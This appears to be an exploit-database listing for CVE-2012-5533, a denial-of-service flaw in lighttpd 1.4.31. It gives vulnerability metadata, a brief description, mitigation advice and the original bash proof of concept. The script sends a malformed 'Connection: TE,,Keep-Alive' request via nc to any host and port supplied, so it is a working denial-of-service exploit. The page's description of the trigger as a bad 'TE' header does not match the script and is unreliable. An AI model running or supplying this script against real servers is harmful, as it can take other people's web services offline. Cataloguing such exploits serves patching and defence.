header-logo
Suggest Exploit
vendor:
lighttpd
by:
t4c@ghcif.de
7,5
CVSS
HIGH
Denial of Service (DoS)
400
CWE
Product Name: lighttpd
Affected Version From: 1.4.31
Affected Version To: 1.4.31
Patch Exists: YES
Related CWE: CVE-2012-5533
CPE: a:lighttpd:lighttpd:1.4.31
Metasploit: https://www.rapid7.com/db/vulnerabilities/amazon-linux-ami-alas-2013-179/, https://www.rapid7.com/db/vulnerabilities/freebsd-vid-1cd3ca42-33e6-11e2-a255-5404a67eef98/, https://www.rapid7.com/db/vulnerabilities/suse-cve-2012-5533/, https://www.rapid7.com/db/vulnerabilities/gentoo-linux-cve-2012-5533/, https://www.rapid7.com/db/vulnerabilities/http-lighttpd-cve-2012-5533/
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Debian Linux, Gentoo Linux, Arch Linux
2012

simple lighttpd 1.4.31 DOS POC

This exploit is a proof of concept for a denial of service vulnerability in lighttpd version 1.4.31. The vulnerability is triggered by sending a specially crafted HTTP request with a 'TE' header that is not followed by a valid value. This causes the server to enter an infinite loop, resulting in a denial of service.

Mitigation:

Upgrade to the latest version of lighttpd, which is 1.4.45. Alternatively, apply the patch provided by the vendor.
Source

Exploit-DB raw data:

#!/bin/bash
# Exploit Title: simple lighttpd 1.4.31 DOS POC
# Date: 11/21/2012
# Exploit Author: t4c@ghcif.de
# Vendor Homepage: http://www.lighttpd.net
# Software Link: http://download.lighttpd.net/lighttpd/releases-1.4.x/lighttpd-1.4.31.tar.gz 
# Version: 1.4.31
# Tested on: Debian Linux, Gentoo Linux, Arch Linux
# CVE: CVE-2012-5533

if [ $# -lt 2 ]
then
	echo "usage :$0 <Host/IP> <Port>"
else
	echo -ne "GET / HTTP/1.1\r\nHost: pwn.ed\r\nConnection: TE,,Keep-Alive\r\n\r\n" | nc $1 $2
fi

Navigation

Suggest Exploit

Services By CQR